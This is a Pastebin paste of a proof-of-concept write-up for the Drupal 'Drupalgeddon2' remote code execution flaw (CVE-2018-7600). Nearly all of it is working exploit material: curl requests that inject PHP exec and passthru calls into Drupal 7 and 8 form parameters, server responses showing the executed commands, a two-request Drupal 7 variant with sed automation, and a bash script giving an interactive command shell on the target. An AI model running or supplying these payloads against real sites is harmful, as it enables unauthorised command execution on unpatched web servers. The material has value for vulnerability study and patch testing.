ToKeiChun

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1

Aug 3rd, 2019
369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.59 KB | None | 0 0
  1. # CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)
  2.  
  3. Source: https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
  4.  
  5. **Improved (Ruby) exploit ~ http://github.com/dreadlocked/Drupalgeddon2/ // https://www.exploit-db.com/exploits/44449/**
  6.  
  7. - - -
  8.  
  9. ## Drupal v8.x
  10.  
  11. _Tested on Drupal v8.4.5 / v8.5.0_
  12.  
  13. Thanks to:
  14. - https://research.checkpoint.com/uncovering-drupalgeddon-2/ **(Write Up)**
  15. - https://twitter.com/i_bo0om/status/984674893768921089
  16. - https://twitter.com/0ang3el/status/984801600744116225
  17.  
  18. - - -
  19.  
  20. ### PoC #1 - #post_render / account/mail / exec
  21. - It uses the `user/register` URL, `#post_render` parameter, targeting `account/mail`, using PHP's `exec` function.
  22.  
  23. ```
  24. curl -k -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  25. --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
  26. ```
  27.  
  28. The server will give 200 response & display JSON.
  29. It **IS** able to render the output in the response _(such as doing uname -a)_.
  30.  
  31. **Example**
  32.  
  33. ```bash
  34. [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  35. --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
  36. HTTP/1.1 200 OK
  37. Date: Wed, 18 Apr 2018 15:56:29 GMT
  38. Server: Apache/2.4.7 (Ubuntu)
  39. X-Powered-By: PHP/5.5.9-1ubuntu4.24
  40. Cache-Control: must-revalidate, no-cache, private
  41. X-UA-Compatible: IE=edge
  42. Content-language: en
  43. X-Content-Type-Options: nosniff
  44. X-Frame-Options: SAMEORIGIN
  45. Expires: Sun, 19 Nov 1978 05:00:00 GMT
  46. X-Generator: Drupal 8 (https://www.drupal.org)
  47. X-Drupal-Ajax-Token: 1
  48. Content-Length: 280
  49. Content-Type: application/json
  50.  
  51. [{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  52. [g0tmi1k@attacker]$
  53. ```
  54.  
  55.  
  56. - - -
  57.  
  58. ### PoC #2 - #lazy_builder / timezone/timezone / exec
  59. - It uses the `user/register` URL, `#lazy_builder` parameter, targeting `timezone/timezone`, using PHP's `exec` function.
  60.  
  61. ```
  62. curl -k -i 'http://localhost/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  63. --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
  64. ```
  65.  
  66. The server will give 500 response & display "The website encountered an unexpected error. Please try again later".
  67. It is **NOT** able to render the output in the response _(Blind!)_.
  68.  
  69. **Example**
  70.  
  71. ```bash
  72. [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  73. --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
  74. HTTP/1.0 500 500 Service unavailable (with message)
  75. Date: Wed, 18 Apr 2018 15:58:04 GMT
  76. Server: Apache/2.4.7 (Ubuntu)
  77. X-Powered-By: PHP/5.5.9-1ubuntu4.24
  78. Cache-Control: no-cache, private
  79. Content-Length: 74
  80. Connection: close
  81. Content-Type: text/html
  82.  
  83. The website encountered an unexpected error. Please try again later.<br />
  84. [g0tmi1k@attacker]$
  85.  
  86.  
  87.  
  88.  
  89. root@ubuntu140045x64-drupal:~# stat /tmp/2
  90. File: '/tmp/2'
  91. Size: 0 Blocks: 0 IO Block: 4096 regular empty file
  92. Device: fd01h/64769d Inode: 59488 Links: 1
  93. Access: (0644/-rw-r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data)
  94. Access: 2018-04-18 15:58:05.061898957 +0000
  95. Modify: 2018-04-18 15:58:05.061898957 +0000
  96. Change: 2018-04-18 15:58:05.061898957 +0000
  97. Birth: -
  98. root@ubuntu140045x64-drupal:~#
  99. ```
  100.  
  101. - - -
  102.  
  103. ## Drupal v7.x
  104.  
  105. _Tested on Drupal v7.55 / v7.57_
  106.  
  107. This is a different when compared to v8.x, as you need to make two requests in order to exploit
  108.  
  109. Thanks to:
  110. - https://github.com/FireFart/CVE-2018-7600/blob/master/poc.py
  111.  
  112. ### PoC #3 - #post_render / user/password / passthru
  113. - It uses `#post_render` & `name parameters`, targeting `user/password` request, using PHP's `passthru` function.
  114.  
  115. We need to get the value from `form_build_id`:
  116.  
  117. ```
  118. curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
  119. --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id
  120. ```
  121.  
  122. NOTE: This time you need to URL encode (e.g. Spaces ~ ` ` -> `+`)_
  123.  
  124. Afterwards, make a new request, using the value from above as such:
  125.  
  126. ```
  127. curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
  128. --data "form_build_id=${form_build_id}"
  129. ```
  130.  
  131. **Example**
  132.  
  133. ```bash
  134. [g0tmi1k@attacker]$ curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
  135. --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id
  136. <input type="hidden" name="form_build_id" value="form-r55m87T9afnEo-eEePGipGpHTkjPFBgUCnytk_Zuc4I" />
  137. [g0tmi1k@attacker]$
  138. [g0tmi1k@attacker]$ form_build_id=form-r55m87T9afnEo-eEePGipGpHTkjPFBgUCnytk_Zuc4I
  139. [g0tmi1k@attacker]$
  140. [g0tmi1k@attacker]$ curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
  141. --data "form_build_id=${form_build_id}"
  142. HTTP/1.1 200 OK
  143. Date: Wed, 18 Apr 2018 16:26:15 GMT
  144. Server: Apache/2.4.7 (Ubuntu)
  145. X-Powered-By: PHP/5.5.9-1ubuntu4.24
  146. Expires: Sun, 19 Nov 1978 05:00:00 GMT
  147. Cache-Control: no-cache, must-revalidate
  148. X-Content-Type-Options: nosniff
  149. X-Drupal-Ajax-Token: 1
  150. Set-Cookie: SESS8233de9b9c6a45efe3fd08080d4d6479=w51ZcYf67YNjEpVr0g5Smzzjx_vmSURbNdXHl4fKUj4; expires=Fri, 11-May-2018 19:59:35 GMT; Max-Age=2000000; path=/; HttpOnly
  151. Content-Length: 537
  152. Connection: close
  153. Content-Type: application/json; charset=utf-8
  154.  
  155. Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  156. [{"command":"settings","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"_YUWCY69tMlrR-TCiD_jZ-NazJKUHeTo1Om8T4EJ_YQ"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"_YUWCY69tMlrR-TCiD_jZ-NazJKUHeTo1Om8T4EJ_YQ"}}}]
  157. [g0tmi1k@attacker]$
  158. ```
  159.  
  160. **Bash Fu/Automation**
  161.  
  162. We can automate this a little more by using sed to exact the value, as shown below:
  163.  
  164. ```bash
  165. form_build_id=$( curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
  166. --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id | sed -E 's/.*name="form_build_id" value="(.*)".*/\1/' )
  167.  
  168. curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
  169. --data "form_build_id=${form_build_id}"
  170. ```
  171.  
  172. - - -
  173.  
  174. ## Bash Scripting
  175.  
  176. We can make a very basic exploit _(for Drupal v8)_ as show:
  177.  
  178. ```bash
  179. [g0tmi1k@attacker]$ cat exploit.sh
  180. #!/bin/sh
  181.  
  182. # Forever loop
  183. while True; do
  184. # Get input
  185. read -p 'drupalgeddon2>>: ' command
  186.  
  187. # Make request
  188. curl -k 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  189. --data "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=${command}"
  190.  
  191. # New line (the response doesn't have one)
  192. echo
  193. done
  194. [g0tmi1k@attacker]$
  195. [g0tmi1k@attacker]$ sh exploit.sh
  196. drupalgeddon2>>: id
  197. [{"command":"insert","method":"replaceWith","selector":null,"data":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  198. drupalgeddon2>>: uname -a
  199. [{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  200. drupalgeddon2>>: ^C
  201. [g0tmi1k@attacker]$
  202. ```
  203.  
  204. - - -
  205.  
  206. ## Proxy
  207.  
  208. _Pro Tip!_
  209.  
  210. If you wish to send the traffic of cURl through a proxy _(such as Burp)_, run the following command:
  211.  
  212. ```
  213. [g0tmi1k@attacker]$ export http_proxy=http://127.0.0.1:8080
  214. [g0tmi1k@attacker]$
  215. ```
Add Comment
Please, Sign In to add comment